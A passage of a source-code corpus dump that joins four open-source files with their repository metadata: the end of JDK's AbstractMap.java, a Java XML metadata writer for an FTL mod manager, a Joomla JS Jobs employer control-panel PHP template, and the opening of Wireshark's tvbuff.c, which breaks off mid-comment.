e2.getValue()==null : * e1.getValue().equals(e2.getValue()))</pre> * This ensures that the {@code equals} method works properly across * different implementations of the {@code Map.Entry} interface. * * @param o object to be compared for equality with this map entry * @return {@code true} if the specified object is equal to this map * entry * @see #hashCode */ public boolean equals(Object o) { if (!(o instanceof Map.Entry)) return false; Map.Entry<?,?> e = (Map.Entry<?,?>)o; return eq(key, e.getKey()) && eq(value, e.getValue()); } /** * Returns the hash code value for this map entry. The hash code * of a map entry {@code e} is defined to be: <pre> * (e.getKey()==null ? 0 : e.getKey().hashCode()) ^ * (e.getValue()==null ? 0 : e.getValue().hashCode())</pre> * This ensures that {@code e1.equals(e2)} implies that * {@code e1.hashCode()==e2.hashCode()} for any two Entries * {@code e1} and {@code e2}, as required by the general * contract of {@link Object#hashCode}. * * @return the hash code value for this map entry * @see #equals */ public int hashCode() { return (key == null ? 0 : key.hashCode()) ^ (value == null ? 0 : value.hashCode()); } /** * Returns a String representation of this map entry. This * implementation returns the string representation of this * entry's key followed by the equals character ("{@code =}") * followed by the string representation of this entry's value. * * @return a String representation of this map entry */ public String toString() { return key + "=" + value; } } }
FauxFaux/jdk9-jdk
src/java.base/share/classes/java/util/AbstractMap.java
Java
gpl-2.0
30,100
package net.vhati.modmanager.xml; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.io.Writer; import org.jdom2.CDATA; import org.jdom2.Comment; import org.jdom2.Document; import org.jdom2.Element; import org.jdom2.Text; import org.jdom2.output.Format; import org.jdom2.output.LineSeparator; import org.jdom2.output.XMLOutputter; import net.vhati.modmanager.core.EOLWriter; public class JDOMModMetadataWriter { /** * Writes boilerplate metadata for a mod. * * @param outFile "{modDir}/mod-appendix/metadata.xml" * @param modTitle * @param modURL * @param modAuthor * @param modVersion * @param modDesc * @param xmlComments true to include comments describing each field, false otherwise */ public static void writeMetadata( File outFile, String modTitle, String modURL, String modAuthor, String modVersion, String modDesc, boolean xmlComments ) throws IOException { StringBuilder buf = new StringBuilder(); Element rootNode = new Element( "metadata" ); Document doc = new Document( rootNode ); rootNode.addContent( new Text( "\n" ) ); if ( xmlComments ) { buf.setLength( 0 ); buf.append( "\n" ); buf.append( "\t\tCDATA tags mean no need to escape special characters.\n" ); buf.append( "\t\tDon't worry about spaces at the start/end. That gets trimmed.\n" ); buf.append( "\t" ); rootNode.addContent( new Text( "\t" ) ); rootNode.addContent( new Comment( buf.toString() ) ); rootNode.addContent( new Text( "\n\n\n" ) ); } // title. if ( xmlComments ) { rootNode.addContent( new Text( "\t" ) ); rootNode.addContent( new Comment( String.format( " %s ", "The title of this mod." ) ) ); rootNode.addContent( new Text( "\n" ) ); } rootNode.addContent( new Text( "\t" ) ); Element titleNode = new Element( "title" ); titleNode.setContent( new CDATA( String.format( " %s ", modTitle ) ) ); rootNode.addContent( titleNode ); rootNode.addContent( new Text( "\n\n\n" ) ); // threadUrl. if ( xmlComments ) { buf.setLength( 0 ); buf.append( "\n" ); buf.append( "\t\tThis mod's thread on subsetgames.com.\n" ); buf.append( "\t\tIf there's no thread yet, create one to announce your upcoming mod in the\n" ); buf.append( "\t\tforum. Then paste the url here.\n" ); buf.append( "\t" ); rootNode.addContent( new Text( "\t" ) ); rootNode.addContent( new Comment( buf.toString() ) ); rootNode.addContent( new Text( "\n" ) ); } rootNode.addContent( new Text( "\t" ) ); Element urlNode = new Element( "threadUrl" ); urlNode.setContent( new CDATA( String.format( " %s ", modURL ) ) ); rootNode.addContent( urlNode ); rootNode.addContent( new Text( "\n\n\n" ) ); // author. if ( xmlComments ) { rootNode.addContent( new Text( "\t" ) ); rootNode.addContent( new Comment( String.format( " %s ", "Your forum user name." ) ) ); rootNode.addContent( new Text( "\n" ) ); } rootNode.addContent( new Text( "\t" ) ); Element authorNode = new Element( "author" ); authorNode.setContent( new CDATA( String.format( " %s ", modAuthor ) ) ); rootNode.addContent( authorNode ); rootNode.addContent( new Text( "\n\n\n" ) ); // version. if ( xmlComments ) { buf.setLength( 0 ); buf.append( "\n" ); buf.append( "\t\tThe revision/variant of this release, preferably at least a number.\n" ); buf.append( "\t\tExamples:\n" ); buf.append( "\t\t\t0.3\n" ); buf.append( "\t\t\t2.1c Ships Only WIP\n" ); buf.append( "\t\t\t2.4.1 Hi-res Bkgs\n" ); buf.append( "\t\t\t1.0 for FTL 1.03.1\n" ); buf.append( "\t" ); rootNode.addContent( new Text( "\t" ) ); rootNode.addContent( new Comment( buf.toString() ) ); rootNode.addContent( new Text( "\n" ) ); } rootNode.addContent( new Text( "\t" ) ); Element versionNode = new Element( "version" ); versionNode.setContent( new CDATA( String.format( " %s ", modVersion ) ) ); rootNode.addContent( versionNode ); rootNode.addContent( new Text( "\n\n\n" ) ); // description. rootNode.addContent( new Text( "\t" ) ); Element descNode = new Element( "description" ); descNode.addContent( new Text( "\n" ) ); descNode.addContent( new CDATA( String.format( "\n%s\n", modDesc ) ) ); descNode.addContent( new Text( "\n\t" ) ); rootNode.addContent( descNode ); rootNode.addContent( new Text( "\n\n" ) ); if ( xmlComments ) { buf.setLength( 0 ); buf.append( "\n" ); buf.append( "\t\tSuggestions for the description...\n" ); buf.append( "\n" ); buf.append( "\t\tWrite a short paragraph about the mod's effect first (what style ship, how\n" ); buf.append( "\t\tdoes it affect gameplay). No need to introduce yourself.\n" ); buf.append( "\n" ); buf.append( "\t\tOptionally add a paragraph of background flavor.\n" ); buf.append( "\n" ); buf.append( "\t\tOptionally list important features.\n" ); buf.append( "\n" ); buf.append( "\t\tList any concerns about mod compatibility, preferred order, or requirements.\n" ); buf.append( "\n" ); buf.append( "\t\tMention \"Replaces the XYZ ship.\" if relevant.\n" ); buf.append( "\t\t\tKestrel-A, Engi-A, Fed-A, Zoltan-A,\n" ); buf.append( "\t\t\tStealth-A, Rock-A, Slug-A, Mantis-A,\n" ); buf.append( "\t\t\tLanius-A, Crystal-A\n" ); buf.append( "\n" ); buf.append( "\t\tAbove all, keep the description general, so you won't have to edit\n" ); buf.append( "\t\tthat again for each new version.\n" ); buf.append( "\t" ); rootNode.addContent( new Text( "\t" ) ); rootNode.addContent( new Comment( buf.toString() ) ); rootNode.addContent( new Text( "\n" ) ); } Format format = Format.getPrettyFormat(); format.setTextMode( Format.TextMode.PRESERVE ); format.setExpandEmptyElements( false ); format.setOmitDeclaration( false ); format.setIndent( "\t" ); format.setLineSeparator( LineSeparator.CRNL ); Writer writer = null; try { writer = new EOLWriter( new FileWriter( outFile ), "\r\n" ); XMLOutputter xmlOutput = new XMLOutputter(); xmlOutput.setFormat( format ); xmlOutput.output( doc, writer ); } finally { try {if ( writer != null ) writer.close();} catch ( IOException e ) {} } } }
Vhati/Slipstream-Mod-Manager
src/main/java/net/vhati/modmanager/xml/JDOMModMetadataWriter.java
Java
gpl-2.0
6,211
<?php /** * @Copyright Copyright (C) 2009-2011 * @license GNU/GPL http://www.gnu.org/copyleft/gpl.html + Created by: Ahmad Bilal * Company: Buruj Solutions + Contact: www.burujsolutions.com , ahmad@burujsolutions.com * Created on: Jan 11, 2009 ^ + Project: JS Jobs * File Name: views/employer/tmpl/controlpanel.php ^ * Description: template view for control panel ^ * History: NONE ^ */ defined('_JEXEC') or die('Restricted access'); ?> <!--<div id="jsjobs_main">--> <!--<div id="js_menu_wrapper">--> <?php // if (sizeof($this->jobseekerlinks) != 0){ // foreach($this->jobseekerlinks as $lnk){ ?> <!--<a class="js_menu_link <?php // if($lnk[2] == 'controlpanel') echo 'selected'; ?>" href="<?php // echo $lnk[0]; ?>"><?php // echo $lnk[1]; ?></a>--> <?php // } // } // if (sizeof($this->employerlinks) != 0){ // foreach($this->employerlinks as $lnk) { ?> <!--<a class="js_menu_link <?php // if($lnk[2] == 'controlpanel') echo 'selected'; ?>" href="<?php // echo $lnk[0]; ?>"><?php // echo $lnk[1]; ?></a>--> <?php // } // } ?> </div> <?php if ($this->config['offline'] == '1'){ ?> <div class="js_job_error_messages_wrapper"> <div class="js_job_messages_image_wrapper"> <img class="js_job_messages_image" src="components/com_jsjobs/images/7.png"/> </div> <div class="js_job_messages_data_wrapper"> <span class="js_job_messages_main_text"> <?php echo JText::_('JS_JOBS_OFFLINE_MODE'); ?> </span> <span class="js_job_messages_block_text"> <?php echo $this->config['offline_text']; ?> </span> </div> </div> <?php }else{ ?> <?php $userrole = $this->userrole; $config = $this->config; $emcontrolpanel = $this->emcontrolpanel; if (isset($userrole->rolefor)){ if ($userrole->rolefor == 1) // employer $allowed = true; else $allowed = false; }else { if ($config['visitorview_emp_conrolpanel'] == 1) $allowed = true; else $allowed = false; } // user not logined if ($allowed == true) { ?> <div id="js_main_wrapper"> <span class="js_controlpanel_section_title"><?php echo JText::_('JS_MY_STUFF');?></span> <?php $print = checkLinks('formcompany',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=company&view=company&layout=formcompany&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/addcompany.png" alt="New Company" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_NEW_COMPANY'); ?></span> </div> </a> <?php } $print = checkLinks('mycompanies',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=company&view=company&layout=mycompanies&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/mycompanies.png" alt="My Companies" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_MY_COMPANIES');?></span> </div> </a> <?php } $print = checkLinks('formjob',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=job&view=job&layout=formjob&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/addjob.png" alt="New Job" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_NEW_JOB');?></span> </div> </a> <?php } $print = checkLinks('myjobs',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=job&view=job&layout=myjobs&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/myjobs.png" alt="My Jobs" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_MY_JOBS');?></span> </div> </a> <?php } $print = checkLinks('formdepartment',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=department&view=department&layout=formdepartment&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/adddepartment.png" alt="Form Department" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_NEW_DEPARTMENT');?></span> </div> </a> <?php } $print = checkLinks('mydepartment',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=department&view=department&layout=mydepartments&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/mydepartments.png" alt="My Department" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_MY_DEPARTMENTS');?></span> </div> </a> <?php } if($emcontrolpanel['emploginlogout'] == 1){ if(isset($userrole->rolefor)){//jobseeker $link = "index.php?option=com_users&c=users&task=logout&Itemid=".$this->Itemid; $text = JText::_('JS_LOGOUT'); $icon = "logout.png"; }else{ $redirectUrl = JRoute::_('index.php?option=com_jsjobs&c=jobseeker&view=jobseeker&layout=controlpanel&Itemid='.$this->Itemid); $redirectUrl = '&amp;return=' . $this->getJSModel('common')->b64ForEncode($redirectUrl); $link = 'index.php?option=com_users&view=login' . $redirectUrl; $text = JText::_('JS_LOGIN'); $icon = "login.png"; } ?> <a class="js_controlpanel_link" href="<?php echo $link; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/<?php echo $icon;?>" alt="Messages" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo $text; ?></span> </div> </a> <?php } ?> <span class="js_controlpanel_section_title"><?php echo JText::_('JS_RESUMES');?></span> <?php $print = checkLinks('resumesearch',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=resume&view=resume&layout=resumesearch&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/resumesearch.png" alt="Search Resume" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_SEARCH_RESUME'); ?></span> </div> </a> <?php } $print = checkLinks('resumesearch',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=resume&view=resume&layout=my_resumesearches&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/resumesavesearch.png" alt="Search Resume" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_RESUME_SAVE_SEARCHES'); ?></span> </div> </a> <?php } $print = checkLinks('resumesearch',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=resume&view=resume&layout=resumebycategory&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/resumebycat.png" alt=" Resume By Category" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_RESUME_BY_CATEGORY'); ?></span> </div> </a> <?php } ?> <span class="js_controlpanel_section_title"><?php echo JText::_('JS_STATISTICS');?></span> <?php $print = checkLinks('packages',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=employerpackages&view=employerpackages&layout=packages&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/packages.png" alt=" Packages" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_PACKAGES'); ?></span> </div> </a> <?php } $print = checkLinks('purchasehistory',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=purchasehistory&view=purchasehistory&layout=employerpurchasehistory&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/purchase_history.png" alt=" Employer Purchase History" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_PURCHASE_HISTORY'); ?></span> </div> </a> <?php } $print = checkLinks('my_stats',$userrole,$config,$emcontrolpanel); if($print){ ?> <a class="js_controlpanel_link" href="index.php?option=com_jsjobs&c=employer&view=employer&layout=my_stats&Itemid=<?php echo $this->Itemid; ?>"> <img class="js_controlpanel_link_image" src="components/com_jsjobs/images/mystats.png" alt="My Stats" /> <div class="js_controlpanel_link_text_wrapper"> <span class="js_controlpanel_link_title"><?php echo JText::_('JS_MY_STATS'); ?></span> </div> </a> <?php } ?> </div> <?php if($emcontrolpanel['empexpire_package_message'] == 1){ $message = ''; if(!empty($this->packagedetail[0]->packageexpiredays)){ $days = $this->packagedetail[0]->packageexpiredays - $this->packagedetail[0]->packageexpireindays; if($days == 1) $days = $days.' '.JText::_('JS_DAY'); else $days = $days.' '.JText::_('JS_DAYS'); $message = "<strong><font color='red'>".JText::_('JS_YOUR_PACKAGE').' &quot;'.$this->packagedetail[0]->packagetitle.'&quot; '.JText::_('JS_HAS_EXPIRED').' '.$days.' ' .JText::_('JS_AGO')." <a href='index.php?option=com_jsjobs&c=jobseekerpackages&view=jobseekerpackages&layout=packages&Itemid=$this->Itemid'>".JText::_('JS_EMPLOYER_PACKAGES')."</a></font></strong>"; } if($message != ''){?> <div id="errormessage" class="errormessage"> <div id="message"><?php echo $message;?></div> </div> <?php } }?> <?php } else{ // not allowed job posting ?> <div class="js_job_error_messages_wrapper"> <div class="js_job_messages_image_wrapper"> <img class="js_job_messages_image" src="components/com_jsjobs/images/2.png"/> </div> <div class="js_job_messages_data_wrapper"> <span class="js_job_messages_main_text"> <?php echo JText::_('EA_YOU_ARE_NOT_ALLOWED_TO_VIEW'); ?> </span> <span class="js_job_messages_block_text"> <?php echo JText::_('JS_YOU_ARE_NOT_ALLOWED_TO_VIEW_EMPLOYER_CONTROL_PANEL'); ?> </span> </div> </div> <?php } }//ol ?> <!--<div id="jsjobs_footer">--> <?php // echo '<table width="100%" style="table-layout:fixed;"> <tr><td height="15"></td></tr> <tr><td style="vertical-align:top;" align="center"> <a class="img" target="_blank" href="http://www.joomsky.com"><img src="http://www.joomsky.com/logo/jsjobscrlogo.png"></a> <br> Copyright &copy; 2008 - '.date('Y').', <span id="themeanchor"> <a class="anchor"target="_blank" href="http://www.joomsky.com">Joom Sky</a></span></td></tr> </table></div>';?> <!--</div>--> <?php function checkLinks($name,$userrole,$config,$emcontrolpanel){ $print = false; if (isset($userrole->rolefor)){ if ($userrole->rolefor == 1){ if ($emcontrolpanel[$name] == 1) $print = true; } }else{ if($name == 'empmessages') $name = 'vis_emmessages'; elseif($name == 'empresume_rss') $name = 'vis_resume_rss'; else $name = 'vis_em'.$name; if($config[$name] == 1) $print = true; } return $print; } ?>
sondang86/hasico
components/com_jsjobs/views/employer/tmpl/controlpanel.php
PHP
gpl-2.0
14,289
/* tvbuff.c * * Testy, Virtual(-izable) Buffer of guint8*'s * * "Testy" -- the buffer gets mad when an attempt to access data * beyond the bounds of the buffer. An exception is thrown. * * "Virtual" -- the buffer can have its own data, can use a subset of * the data of a backing tvbuff, or can be a composite of * other tvbuffs. * * Copyright (c) 2000 by Gilbert Ramirez <gram@alumni.rice.edu> * * Code to convert IEEE floating point formats to native floating point * derived from code Copyright (c) Ashok Narayanan, 2000 * * Wireshark - Network traffic analyzer * By Gerald Combs <gerald@wireshark.org> * Copyright 1998 Gerald Combs * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include "config.h" #include <string.h> #include <stdio.h> #include <errno.h> #include "wsutil/pint.h" #include "wsutil/sign_ext.h" #include "wsutil/unicode-utils.h" #include "wsutil/nstime.h" #include "wsutil/time_util.h" #include "tvbuff.h" #include "tvbuff-int.h" #include "strutil.h" #include "to_str.h" #include "charsets.h" #include "proto.h" /* XXX - only used for DISSECTOR_ASSERT, probably a new header file? */ #include "exceptions.h" /* * Just make sure we include the prototype for strptime as well * (needed for glibc 2.2) but make sure we do this only if not * yet defined. */ #include <time.h> /*#ifdef NEED_STRPTIME_H*/ #ifndef strptime #include "wsutil/strptime.h" #endif /*#endif*/ static guint64 _tvb_get_bits64(tvbuff_t *tvb, guint bit_offset, const gint total_no_of_bits); static inline gint _tvb_captured_length_remaining(const tvbuff_t *tvb, const gint offset); static inline const guint8* ensure_contiguous(tvbuff_t *tvb, const gint offset, const gint length); static inline guint8 * tvb_get_raw_string(wmem_allocator_t *scope, tvbuff_t *tvb, const gint offset, const gint length); tvbuff_t * tvb_new(const struct tvb_ops *ops) { tvbuff_t *tvb; gsize size = ops->tvb_size; g_assert(size >= sizeof(*tvb)); tvb = (tvbuff_t *) g_slice_alloc(size); tvb->next = NULL; tvb->ops = ops; tvb->initialized = FALSE; tvb->flags = 0; tvb->length = 0; tvb->reported_length = 0; tvb->real_data = NULL; tvb->raw_offset = -1; tvb->ds_tvb = NULL; return tvb; } static void tvb_free_internal(tvbuff_t *tvb) { gsize size; DISSECTOR_ASSERT(tvb); if (tvb->ops->tvb_free) tvb->ops->tvb_free(tvb); size = tvb->ops->tvb_size; g_slice_free1(size, tvb); } /* XXX: just call tvb_free_chain(); * Not removed so that existing dissectors using tvb_free() need not be changed. * I'd argue that existing calls to tvb_free() should have actually beeen * calls to tvb_free_chain() although the calls were OK as long as no * subsets, etc had been created on the tvb. */ void tvb_free(tvbuff_t *tvb) { tvb_free_chain(tvb); } void tvb_free_chain(tvbuff_t *tvb) { tvbuff_t *next_tvb; DISSECTOR_ASSERT(tvb); while (tvb) { next_tvb = tvb->next; tvb_free_internal(tvb); tvb = next_tvb; } } tvbuff_t * tvb_new_chain(tvbuff_t *parent, tvbuff_t *backing) { tvbuff_t *tvb = tvb_new_proxy(backing); tvb_add_to_chain(parent, tvb); return tvb; } void tvb_add_to_chain(tvbuff_t *parent, tvbuff_t *child) { tvbuff_t *tmp = child; DISSECTOR_ASSERT(parent); DISSECTOR_ASSERT(child); while (child) { tmp = child; child = child->next; tmp->next = parent->next; parent->next = tmp; } } #define COMPUTE_OFFSET(tvb, offset, offset_ptr, exception) \ if (offset >= 0) { \ /* Positive offset - relative to the beginning of the packet. */ \ if ((guint) offset <= tvb->length) { \ *offset_ptr = offset; \ } else if ((guint) offset <= tvb->reported_length) { \ exception = BoundsError; \ } else if (tvb->flags & TVBUFF_FRAGMENT) { \ exception = FragmentBoundsError; \ } else { \ exception = ReportedBoundsError; \ } \ } \ else { \ /* Negative offset - relative to the end of the packet. */ \ if ((guint) -offset <= tvb->length) { \ *offset_ptr = tvb->length + offset; \ } else if ((guint) -offset <= tvb->reported_length) { \ exception = BoundsError; \ } else if (tvb->flags & TVBUFF_FRAGMENT) { \ exception = FragmentBoundsError; \ } else { \ exception = ReportedBoundsError; \ } \ } \ #define COMPUTE_OFFSET_AND_REMAINING(tvb, offset, offset_ptr, rem_len, exception) \ if (offset >= 0) { \ /* Positive offset - relative to the beginning of the packet. */ \ if ((guint) offset <= tvb->length) { \ *offset_ptr = offset; \ } else if ((guint) offset <= tvb->reported_length) { \ exception = BoundsError; \ } else if (tvb->flags & TVBUFF_FRAGMENT) { \ exception = FragmentBoundsError; \ } else { \ exception = ReportedBoundsError; \ } \ } \ else { \ /* Negative offset - relative to the end of the packet. */ \ if ((guint) -offset <= tvb->length) { \ *offset_ptr = tvb->length + offset; \ } else if ((guint) -offset <= tvb->reported_length) { \ exception = BoundsError; \ } else if (tvb->flags & TVBUFF_FRAGMENT) { \ exception = FragmentBoundsError; \ } else { \ exception = ReportedBoundsError; \ } \ } \ if (!exception) \ rem_len = tvb->length - *offset_ptr; \ /* Computes the absolute offset and length based on a possibly-negative offset * and a length that is possible -1 (which means "to the end of the data"). * Returns integer indicating whether the offset is in bounds (0) or * not (exception number). The integer ptrs are modified with the new offset and length. * No exception is thrown. * * XXX - we return success (0), if the offset is positive and right * after the end of the tvbuff (i.e., equal to the length). We do this * so that a dissector constructing a subset tvbuff for the next protocol * will get a zero-length tvbuff, not an exception, if there's no data * left for the next protocol - we want the next protocol to be the one * that gets an exception, so the error is reported as an error in that * protocol rather than the containing protocol. */ static inline int check_offset_length_no_exception(const tvbuff_t *tvb, const gint offset, gint const length_val, guint *offset_ptr, guint *length_ptr) { guint end_offset; int exception = 0; DISSECTOR_ASSERT(offset_ptr); DISSECTOR_ASSERT(length_ptr); /* Compute the offset */ COMPUTE_OFFSET(tvb, offset, offset_ptr, exception); if (exception) return exception; if (length_val < -1) { /* XXX - ReportedBoundsError? */ return BoundsError; } /* Compute the length */ if (length_val == -1) *length_ptr = tvb->length - *offset_ptr; else *length_ptr = length_val; /* * Compute the offset of the first byte past the length. */ end_offset = *offset_ptr + *length_ptr; /* * Check for an overflow */ if (end_offset < *offset_ptr) return BoundsError; /* * Check whether that offset goes more than one byte past the * end of the buffer. * * If not, return 0; otherwise, return exception */ if (G_LIKELY(end_offset <= tvb->length)) return 0; else if (end_offset <= tvb->reported_length) return BoundsError; else if (tvb->flags & TVBUFF_FRAGMENT) return FragmentBoundsError; else return ReportedBoundsError; } /* Checks (+/-) offset and length and throws an exception if * either is out of bounds. Sets integer ptrs to the new offset * and length. */ static inline void check_offset_length(const tvbuff_t *tvb, const gint offset, gint const length_val, guint *offset_ptr, guint *length_ptr) { int exception; exception = check_offset_length_no_exception(tvb, offset, length_val, offset_ptr, length_ptr); if (exception) THROW(exception); } void tvb_check_offset_length(const tvbuff_t *tvb, const gint offset, gint const length_val, guint *offset_ptr, guint *length_ptr) { check_offset_length(tvb, offset, length_val, offset_ptr, length_ptr); } static const unsigned char left_aligned_bitmask[] = { 0xff, 0x80, 0xc0, 0xe0, 0xf0, 0xf8, 0xfc, 0xfe }; tvbuff_t * tvb_new_octet_aligned(tvbuff_t *tvb, guint32 bit_offset, gint32 no_of_bits) { tvbuff_t *sub_tvb = NULL; guint32 byte_offset; gint32 datalen, i; guint8 left, right, remaining_bits, *buf; const guint8 *data; DISSECTOR_ASSERT(tvb && tvb->initialized); byte_offset = bit_offset >> 3; left = bit_offset % 8; /* for left-shifting */ right = 8 - left; /* for right-shifting */ if (no_of_bits == -1) { datalen = _tvb_captured_length_remaining(tvb, byte_offset); remaining_bits = 0; } else { datalen = no_of_bits >> 3; remaining_bits = no_of_bits % 8; if (remaining_bits) { datalen++; } } /* already aligned -> shortcut */ if ((left == 0) && (remaining_bits == 0)) { return tvb_new_subset(tvb, byte_offset, datalen, -1); } DISSECTOR_ASSERT(datalen>0); /* if at least one trailing byte is available, we must use the content * of that byte for the last shift (i.e. tvb_get_ptr() must use datalen + 1 * if non extra byte is available, the last shifted byte requires * special treatment */ if (_tvb_captured_length_remaining(tvb, byte_offset) > datalen) { data = ensure_contiguous(tvb, byte_offset, datalen + 1); /* tvb_get_ptr */ /* Do this allocation AFTER tvb_get_ptr() (which could throw an exception) */ buf = (guint8 *)g_malloc(datalen); /* shift tvb data bit_offset bits to the left */ for (i = 0; i < datalen; i++) buf[i] = (data[i] << left) | (data[i+1] >> right); } else { data = ensure_contiguous(tvb, byte_offset, datalen); /* tvb_get_ptr() */ /* Do this allocation AFTER tvb_get_ptr() (which could throw an exception) */ buf = (guint8 *)g_malloc(datalen); /* shift tvb data bit_offset bits to the left */ for (i = 0; i < (datalen-1); i++) buf[i] = (data[i] << left) | (data[i+1] >> right); buf[datalen-1] = data[datalen-1] << left; /* set last octet */ } buf[datalen-1] &= left_aligned_bitmask[remaining_bits]; sub_tvb = tvb_new_child_real_data(tvb, buf, datalen, datalen); tvb_set_free_cb(sub_tvb, g_free); return sub_tvb; } static tvbuff_t * tvb_generic_clone_offset_len(tvbuff_t *tvb, guint offset, guint len) { tvbuff_t *cloned_tvb; guint8 *data = (guint8 *) g_malloc(len); tvb_memcpy(tvb, data, offset, len); cloned_tvb = tvb_new_real_data(data, len, len); tvb_set_free_cb(cloned_tvb, g_free); return cloned_tvb; } tvbuff_t * tvb_clone_offset_len(tvbuff_t *tvb, guint offset, guint len) { if (tvb->ops->tvb_clone) { tvbuff_t *cloned_tvb; cloned_tvb = tvb->ops->tvb_clone(tvb, offset, len); if (cloned_tvb) return cloned_tvb; } return tvb_generic_clone_offset_len(tvb, offset, len); } tvbuff_t * tvb_clone(tvbuff_t *tvb) { return tvb_clone_offset_len(tvb, 0, tvb->length); } guint tvb_captured_length(const tvbuff_t *tvb) { DISSECTOR_ASSERT(tvb && tvb->initialized); return tvb->length; } /* For tvbuff internal use */ static inline gint _tvb_captured_length_remaining(const tvbuff_t *tvb, const gint offset) { guint abs_offset, rem_length; int exception = 0; COMPUTE_OFFSET_AND_REMAINING(tvb, offset, &abs_offset, rem_length, exception); if (exception) return 0; return rem_length; } gint tvb_captured_length_remaining(const tvbuff_t *tvb, const gint offset) { guint abs_offset, rem_length; int exception = 0; DISSECTOR_ASSERT(tvb && tvb->initialized); COMPUTE_OFFSET_AND_REMAINING(tvb, offset, &abs_offset, rem_length, exception); if (exception) return 0; return rem_length; } guint tvb_ensure_captured_length_remaining(const tvbuff_t *tvb, const gint offset) { guint abs_offset, rem_length; int exception = 0; DISSECTOR_ASSERT(tvb && tvb->initialized); COMPUTE_OFFSET_AND_REMAINING(tvb, offset, &abs_offset, rem_length, exception); if (exception) THROW(exception); if (rem_length == 0) { /* * This routine ensures there's at least one byte available. * There aren't any bytes available, so throw the appropriate * exception. */ if (abs_offset >= tvb->reported_length) { if (tvb->flags & TVBUFF_FRAGMENT) { THROW(FragmentBoundsError); } else { THROW(ReportedBoundsError); } } else THROW(BoundsError); } return rem_length; } /* Validates that 'length' bytes are available starting from * offset (pos/neg). Does not throw an exception. */ gboolean tvb_bytes_exist(const tvbuff_t *tvb, const gint offset, const gint length) { guint abs_offset, abs_length; int exception; DISSECTOR_ASSERT(tvb && tvb->initialized); exception = check_offset_length_no_exception(tvb, offset, length, &abs_offset, &abs_length); if (exception) return FALSE; return TRUE; } /* Validates that 'length' bytes are available starting from * offset (pos/neg). Throws an exception if they aren't. */ void tvb_ensure_bytes_exist(const tvbuff_t *tvb, const gint offset, const gint length) { guint real_offset, end_offset; DISSECTOR_ASSERT(tvb && tvb->initialized); /* * -1 doesn't mean "until end of buffer", as that's pointless * for this routine. We must treat it as a Really Large Positive * Number, so that we throw an exception; we throw * ReportedBoundsError, as if it were past even the end of a * reassembled packet, and past the end of even the data we * didn't capture. * * We do the same with other negative lengths. */ if (length < 0) { THROW(ReportedBoundsError); } /* XXX: Below this point could be replaced with a call to * check_offset_length with no functional change, however this is a * *very* hot path and check_offset_length is 